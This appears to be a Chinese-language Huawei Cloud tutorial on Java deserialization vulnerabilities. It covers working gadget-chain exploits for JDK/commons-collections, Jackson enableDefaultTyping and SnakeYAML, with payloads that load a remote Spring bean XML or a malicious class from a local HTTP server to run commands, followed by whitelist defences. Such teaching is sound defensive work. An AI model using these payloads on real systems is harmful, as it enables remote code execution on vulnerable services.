写点什么

安全攻防丨反序列化漏洞的实操演练

  • 2023-09-05
    广东
  • 本文字数:10160 字

    阅读完需:约 33 分钟

安全攻防丨反序列化漏洞的实操演练

本文分享自《【安全攻防】深入浅出实战系列专题-反序列化漏洞》,作者:MDKing。

1. 基本概念


序列化:将内存对象转化为可以存储以及传输的二进制字节、xml、json、yaml 等格式。


反序列化:将虚化列存储的二进制字节、xml、json、yaml 等格式的信息重新还原转化为对象实例。



序列化/反序列化库:如果想将对象序列化为二进制格式(或者反序列化回对象),直接使用 JDK 库自带的 ObjectOutputStream 的 readObject、writeObject 方法即可。如果想与其它格式(xml、json、yaml)相互转换,一般需要引入 jackson、snakeyaml 等其它开源组件,使用开源组件中提供的库方法。



反序列化漏洞:当业务代码中使用了反序列化相关方法,但对输入的反序列化数据并未做充分的校验控制,攻击者能够控制反序列数据的输入时,攻击者可以针对业务代码的 JDK、开源组件版本、已加载的类的情况精心构造一系列对象链数据,最终达成任意命令行执行或者远程代码执行的效果。

2. JDK 反序列化漏洞利用实战

2.1 JDK 与开源组件版本准备


JDK 版本:1.8.0_232(其它更新的版本应该也 ok,没有具体逐一验证)


commons-collections 组件版本:3.2.1(从 3.2.2 开始增加了安全校验,需要手动设置 System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");)


<dependency>    <groupId>commons-collections</groupId>    <artifactId>commons-collections</artifactId>    <version>3.2.1</version></dependency>
复制代码

2.2 漏洞利用代码演示


public static void main(String[] args) throws Exception{    // 构造利用链相关环的对象,最终目的达到命令行执行的效果(本例中弹出计算器应用)    Transformer[] transformers = new Transformer[] {            new ConstantTransformer(Runtime.class),            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),            new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"})};    Transformer chain4Obj = new ChainedTransformer(transformers);    LazyMap chain3Obj = (LazyMap)LazyMap.decorate(new HashMap(), chain4Obj);    TiedMapEntry chain2Obj = new TiedMapEntry(chain3Obj, "anyKey");
// 构造利用链的第一环BadAttributeValueExpException对象,因相关方法非public,使用反射强行设置val属性 BadAttributeValueExpException chain1Obj = new BadAttributeValueExpException(null); Field valField = chain1Obj.getClass().getDeclaredField("val"); valField.setAccessible(true); valField.set(chain1Obj, chain2Obj);
// 使用jdk库函数将chain1Obj序列化到文件D:\hacker中 ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream("D:\\hacker")); objOut.writeObject(chain1Obj);
// 使用jdk库函数将文件D:\hacker内容反序列化为对象,反序列化漏洞触发任意命令行执行 ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("D:\\hacker")); Object object = objIn.readObject();}
复制代码


执行结果,成功打开了 window 的计算器应用,漏洞利用成功



由于序列化部分的代码将对象序列化到文件 D:\hacker 中了,实际上我们直接读取该文件进行反序列化即可触发命令行执行(或者说我把该文件发给你,你在本地执行反序列化,一样会触发命令执行),如下


2.3 漏洞利用原理分析


首先,反序列化漏洞利用最终目标是要能任意执行命令行命令或者远程代码执行,本例中,是达成了执行任意命令行命令,即本例中的命令 calc。在 Java 中相当于要执行代码:Runtime.getRuntime().exec("calc");其中 calc 只是示例,可以换成任意其它命令。


那是不是直接把这一行代码写到 demo 程序里就行了?不,直接写这一行代码你只能在 demo 程序运行的时候有效果。没办法在实际反序列化的业务代码中执行的。我们需要利用反序列化过程本身会调用的方法作为入口,触发我们注入的命令执行。在 jdk 的ObjectInputStream.readObject的反序列过程会调用目标反序列化对象的 readObject 方法。我们需要利用该入口调用我们注入的命令。


那是不是直接定义一个对象 X,在 readObject 方法里写这一行代码(Runtime.getRuntime().exec("calc");)就行了,样例代码为什么整的那么复杂?答案依然是不行。这样也仅能在攻击者本地执行,业务执行环境中是没有 X 这个类的定义的。会报错 ClassNotFoundException。



所以我们只能利用业务代码本身已经加载的 jdk 以及常用开源组件中的类来构造序列化攻击链,本例中选用的攻击链的第一环为 BadAttributeValueExpException 对象。当执行反序列化时,首先会触发调用 BadAttributeValueExpException 的 readObject 方法。

2.4 攻击链调用过程详解


攻击链调用的第一环为 BadAttributeValueExpException 的 readObject 方法:

BadAttributeValueExpException.readObject:



其中 valObj 即为我们在 demo 样例中执行valField.set(chain1Obj, chain2Obj);设置进 val 属性的 chain2Obj 对象(TiedMapEntry 类型),紧接着调用 TiedMapEntry 的 toString 方法:


TiedMapEntry.toString:



紧接着到 getValue 方法


TiedMapEntry.getValue:



this.map 为我们在 demo 样例中执行TiedMapEntry chain2Obj = new TiedMapEntry(chain3Obj, "anyKey");初始化进去的 chain3Obj 对象(LazyMap 类型),所以接着会

调用 LazyMap 的 get 方法:


LazyMap.get:



this.factory 为我们在 demo 样例中执行LazyMap chain3Obj = (LazyMap)LazyMap.decorate(new HashMap(), chain4Obj);初始化进去的 chain4Obj 对象(ChainedTransformer 类型),所以接着执行 ChainedTransformer 的 transform 方法:


ChainedTransformer.transform:



该方法会遍历 Transformer 数组中我们注入进去利用 InvokerTransformer 的反射机制间接执行的命令行执行代码。相当于利用业务代码已加载的库函数,通过传值的方式(利用反射机制)间接实现了自定义代码执行,Transformer 数组遍历执行 transform 的效果相当于执行了Runtime.getRuntime().exec("calc");这一行代码。

2.5 攻击链总结


利用库:jdk、commons-collections


利用入口:BadAttributeValueExpException 的 readObject 方法


达成效果:任意命令行执行


涉及机制:反射


攻击链对象关系图:



攻击链调用顺序图:


2.6 进阶延伸-其它经典攻击链


假如业务上通过黑名单的方法禁止了 BadAttributeValueExpException 类的反序列化,能防止反序列化攻击吗?答案是否定的。这条链被禁了,我们换一条就是了。本小节介绍另外一条 commons-collections 的经典攻击链。


利用库:jdk(在 1.8 以下版本)、commons-collections(保持与上面版本一致即可)


利用入口:AnnotationInvocationHandler 的 readObject 方法


达成效果:任意命令行执行


涉及机制:反射、动态代理


代码 Poc:


public static void main(String[] args) throws Exception{    // 构造利用链相关环的对象,最终目的达到命令行执行的效果(本例中弹出计算器应用)    Transformer[] transformers = new Transformer[] {            new ConstantTransformer(Runtime.class),            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),            new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"})};    Transformer chanin5Obj = new ChainedTransformer(transformers);    LazyMap chain4Obj = (LazyMap)LazyMap.decorate(new HashMap(), chanin5Obj);
Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; constructor.setAccessible(true); InvocationHandler chain3Obj = (InvocationHandler) constructor.newInstance(SuppressWarnings.class, chain4Obj); Map chain2Obj = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), chain3Obj); InvocationHandler chain1Obj = (InvocationHandler) constructor.newInstance(Override.class, chain2Obj);
// 使用jdk库函数将chain1Obj序列化到文件D:\hacker2中 ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream("D:\\hacker2")); objOut.writeObject(chain1Obj);
// 使用jdk库函数将文件D:\hacker2内容反序列化为对象,反序列化漏洞触发任意命令行执行 ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("D:\\hacker2")); Object object = objIn.readObject();}
复制代码


执行结果:虽然后续代码有报错,但是已经执行完注入的命令行部分的代码。



攻击链调用顺序图:


2.7 安全编码防御


上面我们看到了利用常用开源组件的多个类构建的一系列攻击链,如果仅用黑名单限制某些攻击链上类的反序列化是不够的,会有源源不断的新的攻击链被挖掘出来。所以为了让代码更受控、更安全,最好能梳理清楚业务上需要反序列化的类列表,进行白名单校验。


控制反序列化源:反序列化的数据源如果是可以轻易被外部用户控制的,就一定要做白名单校验。如果数据源在正常业务不能被外部控制,但是也不能完全排除攻击者通过其它手段攻破进来篡改了相关依赖的数据源后发动组合攻击,最好也做白名单防护。


白名单校验:涉及到使用 ObjectInputStream 进行反序列化时,重写 resolveClass 方法增加白名单校验。业务代码使用重写的 SecureObjectInputStream 类进行反序列化。


public final class SecureObjectInputStream extends ObjectInputStream {    public SecureObjectInputStream(InputStream in) throws IOException {        super(in);    }
protected SecureObjectInputStream() throws IOException, SecurityException { super(); }
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!desc.getName().equals("com.huaweicloud.secure.serialize.jdk.Person")) { // 白名单校验 throw new ClassNotFoundException(desc.getName() + " not find"); } return super.resolveClass(desc); }}
复制代码

3. Jackson 反序列化漏洞利用实战

3.1 JDK 与开源组件版本准备


JDK 版本:1.8.0_232(其它更新的版本应该也 ok,没有具体逐一验证)


jackson-databind 组件版本:2.7.0


<dependency>    <groupId>com.fasterxml.jackson.core</groupId>    <artifactId>jackson-databind</artifactId>    <version>2.7.0</version></dependency>
复制代码


spring-context 组件版本:4.3.29.RELEASE


<dependency>    <groupId>org.springframework</groupId>    <artifactId>spring-context</artifactId>    <version>4.3.29.RELEASE</version></dependency>
复制代码

3.2 漏洞利用代码演示


  • 远程服务器环境准备


本例需要启动 http 服务器,以便可以通过 http 协议获取恶意 bean 定义文件 hackerbean.xml 的内容

hackerbean.xml


<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">    <bean id="hacker" class="java.lang.ProcessBuilder">        <constructor-arg value="calc" />        <property name="whatever" value="#{ hacker.start() }"/>    </bean></beans>
复制代码


本例通过 nodejs 启动 http 服务器


staticServer.js


let express = require('express')let app = express();app.use(express.static(__dirname));app.listen(3000)
复制代码


启动 http 服务器,并验证可以成功访问 hackerbean.xml 文件




  • 攻击样例代码


public static void main(String[] args) throws Exception{    String json = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", \"http://127.0.0.1:3000/hackerbean.xml\"]\n";    ObjectMapper mapper = new ObjectMapper();    mapper.enableDefaultTyping();    Object obj = mapper.readValue(json, Object.class);    System.out.println(obj);}
复制代码


  • 执行结果


日志会报创建 bean 失败抛异常,但是我们关键的执行命令行命令的代码已经执行过了,成功打开了计算器


3.3 漏洞利用原理分析


  • 本例最终达成的目的是通过远程加载 bean 配置文件,利用初始化 ProcessImpl 类的 bean 的过程,将任意字符串作为命令行执行内容注入,达到任意命令行命令执行的效果。

  • 本例利用的是 Jackson 的 enableDefaultTyping(默认类型处理)功能。在 Jackson 库中,enableDefaultTyping 是一个用于启用默认类型处理的方法。它的作用是在序列化和反序列化过程中包含类型信息,以便在恢复对象时能够正确地处理多态类型。一般配合业务代码中不指定具体类型的写法使用mapper.readValue(json, Object.class);(readValue 的第二个参数为 Object.class)即在代码中不明确指定反序列化后的类型,类型信息存储在序列化后的数据中。

  • 此时,如果反序列化内容为数组形式[a,b],a 为类路径名称时,第二个参数会被作为构造函数或者属性 set 方法的参数触发 a 类对应的代码执行。(第二个参数后面的参数会被忽略掉)


当 b 为对象类型格式时:触发 a 的无参构造函数执行,以及对应属性 set 方法执行。(例如:["com.huaweicloud.secure.MySerialize", {"name":"tianyi","age":12}]会触发 setName、setAge 方法执行)


当 b 为非对象类型格式时:会根据类型(字符串、数字、bool 等)尝试寻找单参数的参数类型匹配的构造方法执行,找不到会抛异常。


  • 本例中利用了 enableDefaultTyping 的特性在反序列化过程中创建了 ClassPathXmlApplicationContext 对象,并传入http://127.0.0.1:3000/hackerbean.xml作为参数调用 ClassPathXmlApplicationContext 的构造方法,达到了远程加载 bean 文件解析 bean 的作用。

3.4 攻击链调用过程详解


攻击链调用的第一环为 ClassPathXmlApplicationContext 的构造方法:

ClassPathXmlApplicationContext.ClassPathXmlApplicationContext:



加载远程文件http://127.0.0.1:3000/hackerbean.xml作为 bean 进行解析


hackerbean.xml



创建 ProcessBuilder,构造器依赖注入,调用 ProcessBuilder 的构造方法



试图初始化 whatever 属性(不需要实际存在该属性)的值,触发调用 ProcessBuilder 的 start 方法,成功将hackerbean.xml中构造器注入的内容calc作为命令行执行。


3.5 攻击链总结


利用库:jdk、jackson-databind、spring-context


利用入口:ClassPathXmlApplicationContext 的构造方法


达成效果:任意命令行执行(远程加载 bean 配置文件)


涉及机制:Jackson 的 enableDefaultTyping(默认类型处理)功能、Spring bean 远程加载/依赖注入/属性动态初始化功能

3.6 进阶延伸-其它经典攻击链


如果 mapper.readValue 的第二个参数为具体的类,还有办法攻击吗?答案是有的,但是需要业务类具备一定的特殊写法。


Poc:


    public static void main(String[] args) throws Exception{        String json = "{\"context\": \"http://127.0.0.1:3000/hackerbean.xml\"}";        ObjectMapper mapper = new ObjectMapper();        Object obj = mapper.readValue(json, Person.class);        System.out.println(obj);    }
复制代码


Person 类的定义:


public class Person {    private String name;    private Integer age;    private ClassPathXmlApplicationContext context;
public String getName() { return name; } public void setName(String name) { this.name = name; } public Integer getAge() { return age; } public void setAge(Integer age) { this.age = age; } public ClassPathXmlApplicationContext getContext() { return context; } public void setContext(ClassPathXmlApplicationContext context) { this.context = context; }}
复制代码


执行结果:



原理解析:


readValue 指定了要反序列化 Person 类,json 的内容为{属性名:属性值},触发 Person 的 set 属性名的方法,在本例中触发 setContext(ClassPathXmlApplicationContext context)方法执行,我们传入的属性值是字符串,与 ClassPathXmlApplicationContext 不匹配时,会自动触发调用 ClassPathXmlApplicationContext 的构造方法,将字符串作为构造方法的参数传入。就跟上面的利用链连上了。(而且注意本例不需要开启enableDefaultTyping功能

3.7 安全编码防御


  • 控制反序列化源,除非业务需要,一定要禁止反序列化数据源可被外部控制。

  • 禁用 enableDefaultTyping 特性

  • 反序列化的属性严格审视,最好都是简单类型的,如果涉及到复杂类,要排查其构造方法是否有被利用的风险。

4. SnakeYaml 反序列化漏洞利用实战

4.1 JDK 与开源组件版本准备


JDK 版本:1.8.0_232(其它更新的版本应该也 ok,没有具体逐一验证)


snakeyaml 组件版本:1.23

4.2 漏洞利用代码演示


  • 远程服务器环境准备


本例需要启动 http 服务器,以便可以通过 http 协议远程加载配置文件META-INF\services\javax.script.ScriptEngineFactory以及恶意类PoCWin.class的内容

META-INF\services\javax.script.ScriptEngineFactory:(在 web 服务器的根目录下依次创建 META-INF、services 文件夹,将 javax.script.ScriptEngineFactory 放到 services 文件夹下)


PoCWin
复制代码


PoCWin.class对应的源码内容:(放在web服务器的根目录下)


public class PoCWin implements ScriptEngineFactory {    static {        try {            System.out.println("Hacked by tianyi");            Runtime.getRuntime().exec("calc.exe").waitFor();//执行计算器        } catch (IOException | InterruptedException e) {            e.printStackTrace();        }    }
// 其它接口必须实现的方法 ...}
复制代码


本例通过 nodejs 启动 http 服务器


staticServer.js


let express = require('express')let app = express();app.use(express.static(__dirname));app.listen(3000)
复制代码


启动 http 服务器,并验证可以成功访问 javax.script.ScriptEngineFactory 文件、PoCWin.class 文件



  • 攻击样例代码


public static void main(String[] args) throws Exception{    String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:3000/\"]]]]";    Yaml yaml = new Yaml();    Object object = yaml.load(poc);    System.out.println(object);}
复制代码


  • 执行结果


成功打印出Hacked by tianyi、弹出计算器


4.3 漏洞利用原理分析


  • 本例最终达成的目的是通过远程加载 class 文件,利用类加载过程,将任意代码注入到 static 静态块中,达到远程任意代码执行的效果。

  • snakeyaml 与 jackson 类似,反序列化时也有不指定类型(Yaml.load)与指定类型(Yaml.loadAs)两种方法。本例中使用的是不指定类型的方法,类型信息在反序列化信息中。本例 Poc 中"!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:3000/\"]]]]"被反序列化时的效果为:创建 ScriptEngineManager 类型的对象,调用其构造方法ScriptEngineManager(ClassLoader loader),由触发创建 ClassLoader 的对象,调用其构造方法URLClassLoader(URL[] urls),其中的\"http://127.0.0.1:3000/\"则被作为 urls 参数传入构造方法。

  • 本例中利用了 Java SPI 机制,jdk 中的 ScriptEngineManager 类会加载类加载器中所有实现 javax.script.ScriptEngineFactory 接口的类。我们正是利用这个逻辑,创建了实现了 ScriptEngineFactory 接口的 PoCWin 类,并注册到配置文件 META-INF\services\javax.script.ScriptEngineFactory 中。(注意:规则为注册文件名与接口名保持一致)


Java SPI(Service Provider Interface)是 Java 提供的一种用于扩展框架的机制。它允许开发者定义一个接口,然后通过配置文件的方式,将接口的具体实现类动态地加载到应用程序中。

4.4 攻击链调用过程详解


攻击链的第一环为 ScriptEngineManager 的构造方法:


ScriptEngineManager的构造方法



为了调用该构造方法,需要先完成其入参 ClassLoader 的前置初始化,调用 URLClassLoader 的构造方法,根据传入的 url 地址获取对应的待加载 class 文件PoCWin.class

URLClassLoader的构造方法



之后调用 ScriptEngineManager 的 init 方法执行类的加载


ScriptEngineManager.init



具体会在 ScriptEngineManager.initEngines 方法的 122 行,遍历获取到 PoCWin 类执行加载,触发 static 静态块代码的执行。(sl 中获取了类加载器加载到的所有实现了 javax.script.ScriptEngineFactory 接口的类的列表)


ScriptEngineManager.initEngines


4.5 攻击链总结


利用库:jdk、snakeyaml


利用入口:ScriptEngineManager 的构造方法


达成效果:远程任意代码执行


涉及机制:Java SPI

4.6 进阶延伸-其它经典攻击链


如果业务代码使用了带类型的反序列化方法 Yaml.loadAs,还能进行攻击吗?也是可以的。


Poc:


public static void main(String[] args) throws Exception{    String poc = "[!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:3000/\"]]]]]";    Yaml yaml = new Yaml();    Object object = yaml.loadAs(poc, Person.class);    System.out.println(object);}
复制代码


Person 类的定义:


public class Person implements Serializable {    private String name;    private Integer age;
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public Integer getAge() { return age; }
public void setAge(Integer age) { this.age = age; }
public Person(String name) { System.out.println("init"); }}
复制代码


执行结果:



原理解析:


loadAs 方法会将 poc 内容[]中的部分作为对象进行初始化为参数对象,然后调用 Person 的单参数的构造方法 Person(String name),将参数传入,虽然会报错参数类型不匹配,但是[]中内容初始化的过程已经触发了恶意代码的执行。(注意:本例中 poc 比上例中多了一层[],如果不多这一层[],则仅会创建 URLClassLoader 对象作为参数,不会触发恶意代码执行)

4.7 安全编码防御


控制反序列化源:反序列化的数据源如果是可以轻易被外部用户控制的,就一定要做白名单校验。如果数据源在正常业务不能被外部控制,但是也不能完全排除攻击者通过其它手段攻破进来篡改了相关依赖的数据源后发动组合攻击,最好也做白名单防护。


白名单校验:定义我们自己的支持白名单的 SecureConstructor,继承 Constructor(当使用无参构造函数 new Yaml()创建 Yaml 对象时,默认使用的就是 Constructor)。Constructor 会默认放通所有的类执行 yaml 对象解析逻辑(即执行 ConstructYamlObject 中的逻辑)。所以我们首先要在构造函数中将 map 中 null 对应的构建器从 ConstructYamlObject 改为 undefinedConstructor。然后创建 addTrustClass 方法,支持将制定类名加入 map 中,达到白名单的效果。


public class SecureConstructor extends Constructor {    public SecureConstructor() {        super();        yamlConstructors.put(null, undefinedConstructor);   // 修改逻辑为默认拒绝,即未在map中定义的类默认走undefinedConstructor的逻辑,抛异常    }        public void addTrustClass(String name) {    // 添加类的全路径名则会进入白名单        yamlConstructors.put(new Tag(Tag.PREFIX + name), new SecureConstructObject());    }    protected class SecureConstructObject extends ConstructYamlObject {        public SecureConstructObject() {            super();        }    }}
复制代码


业务代码在 new Yaml 时将 SecureConstructor 传进去,以起到白名单防护的作用


public static void main(String[] args) throws Exception{    String poc = "[!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:3000/\"]]]]]";    SecureConstructor secureConstructor = new SecureConstructor();    secureConstructor.addTrustClass("com.huaweicloud.secure.serialize.snakeyaml.Person");    Yaml yaml = new Yaml(secureConstructor);    Object object = yaml.loadAs(poc, Person.class);    System.out.println(object);}
复制代码


执行结果如下,ScriptEngineManager 类在创建时被拦截



点击关注,第一时间了解华为云新鲜技术~

发布于: 刚刚阅读数: 4
用户头像

提供全面深入的云计算技术干货 2020-07-14 加入

生于云,长于云,让开发者成为决定性力量

评论

发布
暂无评论
安全攻防丨反序列化漏洞的实操演练_安全_华为云开发者联盟_InfoQ写作社区